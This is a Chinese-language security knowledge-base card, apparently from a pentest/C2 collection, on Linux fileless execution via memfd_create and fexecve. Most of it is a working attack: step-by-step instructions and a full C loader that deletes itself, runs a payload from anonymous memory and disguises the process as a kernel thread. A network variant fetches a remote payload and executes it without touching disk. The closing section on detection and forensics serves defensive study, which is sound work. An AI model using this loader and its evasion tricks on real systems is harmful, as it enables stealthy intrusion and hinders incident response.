♧ Godown 安全知识树

memfd_create + fexecve 无文件执行:把 ELF 装进匿名内存文件后直接运行

pentest/c2 · verified

一句话结论

memfd_create() 创建一个没有路径名的匿名 tmpfs 文件,把 ELF 写进这个 fd 后通过 fexecve()(glibc 内部为 execveat(fd, "", ..., AT_EMPTY_PATH))执行,内核会直接从匿名文件加载 ELF;整个执行链不需要把 payload 写到磁盘,文件扫描/包完整性校验都碰不到它;loader 还可以自删除、伪造 argv[0],甚至从网络把 payload 直接流式写入 memfd,实现“进程活着但在文件系统里不存在”。

原理

  • memfd_create(const char *name, unsigned int flags) 是 Linux 3.17 引入的系统调用,返回一个指向匿名文件的 fd。该文件住在 tmpfs 上,有 inode、可读写、可 fstat、可 mmap,但没有目录项/路径名,ls、find、文件扫描器都看不到它。
  • 普通 execve("/usr/bin/ls", ...) 需要路径;fexecve(fd, argv, envp) 接受 fd,glibc 实现会调用 execveat(fd, "", argv, envp, AT_EMPTY_PATH),告诉内核“忽略路径,直接从 fd 执行”。fd 来自 memfd 时,内核正常解析其中的 ELF、映射段并跳到入口点,整个过程完全合法。
  • /proc/<pid>/exe 对 memfd 进程显示 /memfd: (deleted):匿名 inode 没有对应 dentry,proc_exe_link 在生成路径时发现 dentry 不可达(DCACHE_DISCONNECTED),自动追加 (deleted);这与“磁盘文件被删除”使用相同标记,但 memfd 从未有过路径。
  • /proc/<pid>/maps 暴露更多:memfd 映射的设备号是 00:01(tmpfs 虚拟设备),inode 是匿名文件在 tmpfs 上的 inode,路径列显示 /memfd: (deleted);正常磁盘可执行文件的 maps 显示真实分区设备号(如 00:2a)和 /usr/bin/... 或 /tmp/payload 路径。
  • loader 自删除:读取 /proc/self/exe 得到自身路径,unlink() 掉;loader 已经映射进内存,删除磁盘文件不影响运行,磁盘上只剩“曾经存在过”的记录(如果未清理日志/审计)。
  • argv[0] 伪装:fexecve(fd, fake_argv, envp) 的 argv[0] 会写入 /proc/<pid>/cmdline,ps aux 的 COMMAND 列看起来像内核线程;但 comm(task_struct->comm)是内核维护的,memfd 执行时通常来自 memfd_create 的名字(传空串则显示 memfd:),两者不一致本身就是检测信号。
  • 网络直写 memfd:不用 open 读本地 ELF,而是发起 HTTP(S)/DNS 请求,把响应 body 直接 write(fd, ...) 到 memfd,再 fexecve;payload 从网络到内存,全程不落盘。HTTPS、DNS TXT、加密 payload(loader 先解密再写 memfd)只是传输/编码变体。
  • MFD_CLOEXEC 让 fd 在 exec 时关闭,避免泄漏到新进程;但 fexecve 本身需要该 fd,执行成功后内核已加载完,fd 关闭不影响。

触发条件

  • Linux 内核 >= 3.17,且用户态有 memfd_create 包装(glibc 2.27+ 或直接 syscall(SYS_memfd_create, ...));fexecve/execveat 可用。
  • 目标 payload 必须是当前架构的有效 ELF;静态编译最稳(避免 guest 缺动态库)。原文武装版截图曾出现 fexecve: Exec format error,通常是目标文件不是有效 ELF 或架构/静态链接不匹配。
  • 执行 memfd 不受文件系统 noexec 挂载限制(它不来自该挂载点),但可能被 LSM(SELinux/AppArmor)、seccomp 或容器策略拦截 memfd_create/execveat。
  • loader 本身必须先以某种方式落地执行(初始入口),之后才可自删除;如果 loader 也只通过内存投递,需要另一个入口(如已有 shell/漏洞利用)。
  • 需要写权限/可执行权限的 fd 操作;memfd_create 不需要 root。

利用步骤

  1. 准备 payload:gcc -static -o /tmp/payload payload.c,确认 file /tmp/payload 显示 ELF、架构匹配;payload 可以是 sleep/回连/下载器等。
  2. loader 读取 ELF:open(argv[1])、fstat 取大小、malloc + read 到内存,关闭源文件。
  3. 创建匿名文件:int fd = memfd_create("", MFD_CLOEXEC);(名字可留空或伪装成 pulseaudio/tmp-buffer)。
  4. 写入 payload:write(fd, buf, st.st_size),释放用户态 buffer;可选在写入前解密。
  5. 执行:构造 argv[0] 为 [kworker/0:1-events] 等伪名,fexecve(fd, argv, envp);若失败用 perror("fexecve") 排查(ENOEXEC 多为 payload 无效,EPERM 多为 LSM/seccomp)。
  6. 自删除:在 fexecve 前读取 /proc/self/exe 并 unlink();确认 /tmp/ghost_copy 已消失。
  7. 网络变体:memfd_create 后建立 socket,发送 GET /payload HTTP/1.0,跳过 HTTP 头,把 body 循环写入 fd;可选 HTTPS/自定义加密。
  8. 运行后检查:readlink /proc/<pid>/exe 应为 /memfd: (deleted);head /proc/<pid>/maps 应看到 00:01 与 /memfd:;磁盘上找不到执行中的 ELF。

PoC

// loader.c:从本地 ELF 到 memfd,自删除 + 伪 argv
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (argc < 2) { fprintf(stderr, "usage: %s <elf>\n", argv[0]); return 1; }

    int src = open(argv[1], O_RDONLY);
    if (src < 0) { perror("open"); return 1; }
    struct stat st;
    fstat(src, &st);
    void *buf = malloc(st.st_size);
    read(src, buf, st.st_size);
    close(src);

    /* 自删除:loader 从磁盘消失 */
    char self[4096];
    ssize_t n = readlink("/proc/self/exe", self, sizeof(self) - 1);
    if (n > 0) { self[n] = 0; unlink(self); }

    /* 匿名内存文件 + 写入 ELF */
    int fd = memfd_create("", MFD_CLOEXEC);
    if (fd < 0) { perror("memfd_create"); return 1; }
    write(fd, buf, st.st_size);
    free(buf);

    /* fexecve -> execveat(fd, "", ..., AT_EMPTY_PATH) */
    char *fake_argv[] = { "[kworker/0:1-events]", NULL };
    char *fake_envp[] = { NULL };
    fexecve(fd, fake_argv, fake_envp);
    perror("fexecve");
    return 1;
}
gcc -static -o /tmp/payload payload.c
gcc -o /tmp/ghost ghost.c
cp /tmp/ghost /tmp/ghost_copy      # 它会自删除,先备份
/tmp/ghost_copy /tmp/payload &
readlink /proc/$!/exe               # /memfd: (deleted)
head -5 /proc/$!/maps               # 00:01 6175 /memfd: (deleted)
ls /tmp/ghost_copy                  # No such file or directory
// 网络变体要点:HTTP body 直接写 memfd,不经过磁盘
int fd = memfd_create("", MFD_CLOEXEC);
http_get_to_fd(host, port, path, fd);   // read(sock) -> write(fd) 循环
char *fake_argv[] = { "[migration/0]", NULL };
fexecve(fd, fake_argv, (char *[]){ NULL });
# 观测:
# readlink /proc/194748/exe -> /memfd: (deleted)
# /proc/194748/maps -> 00400000-00401000 r--p ... 00:01 6175 /memfd: (deleted)
# 正常 payload:00:2a 4311 /tmp/payload
# cat /proc/<pid>/comm -> memfd:
# cat /proc/<pid>/cmdline -> [kworker/0:1-events]

变体与关联

  • 变体:网络/加密投递:HTTPS、DNS TXT、分段下载、异或/AES 加密后由 loader 解密到 memfd;传输通道不改变“执行时无磁盘文件”的本质。
  • 变体:shm_open:创建的文件在 /dev/shm/ 有目录项,ls /dev/shm/ 可见,隐蔽性弱于 memfd;但也可写入 ELF 后 execveat。
  • 变体:Java Agent 注入:memfd 配合 Attach 协议可实现无文件 Java Agent 注入,见 [[web-java-classloader-memfd-fileless-agent-injection]]。
  • 变体:Linux 植入体反取证:结合禁写历史、/dev/shm、系统文件名伪装等,见 [[pentest-c2-linux-implant-anti-forensics-masquerade-node-id]]。
  • 关联卡片:[[defense-detection-linux-memfd-fileless-process]](检测方法)、[[defense-forensics-linux-process-name-masquerade-comm-cmdline]](comm/cmdline/exe 不一致的取证)。
  • 边界:payload 必须是有效 ELF(否则 fexecve 返回 ENOEXEC,原文武装版截图出现过一次 Exec format error);LSM/seccomp 可能禁止 memfd_create/execveat;进程退出后 /proc 痕迹消失,需提前开启审计。

检测与防御

  • 检测:遍历 /proc/*/exe 找 /memfd:;检查 /proc/*/maps 中 00:01 + /memfd: 的映射;用 bpftrace 监控 memfd_create 与 execveat(AT_EMPTY_PATH);用 auditd 持久化规则。具体命令见检测卡 [[defense-detection-linux-memfd-fileless-process]]。
  • 主机加固:对不需要 memfd 的服务用 seccomp 限制 memfd_create/execveat;启用 SELinux/AppArmor 限制可执行映射;监控非预期进程的 memfd 执行;限制普通用户创建/执行匿名文件(按业务基线)。
  • 检测盲区:文件扫描、rpm -Va/dpkg --verify、netstat/ss 都不能直接定位 memfd 可执行文件;必须依赖 /proc、eBPF、auditd 等内核视角。
  • 响应:发现 memfd 进程后保留 /proc/<pid>/maps、/proc/<pid>/exe、cmdline、comm、网络连接和内存镜像;进程退出前尽快取证;检查 loader 自删除留下的审计/文件系统日志。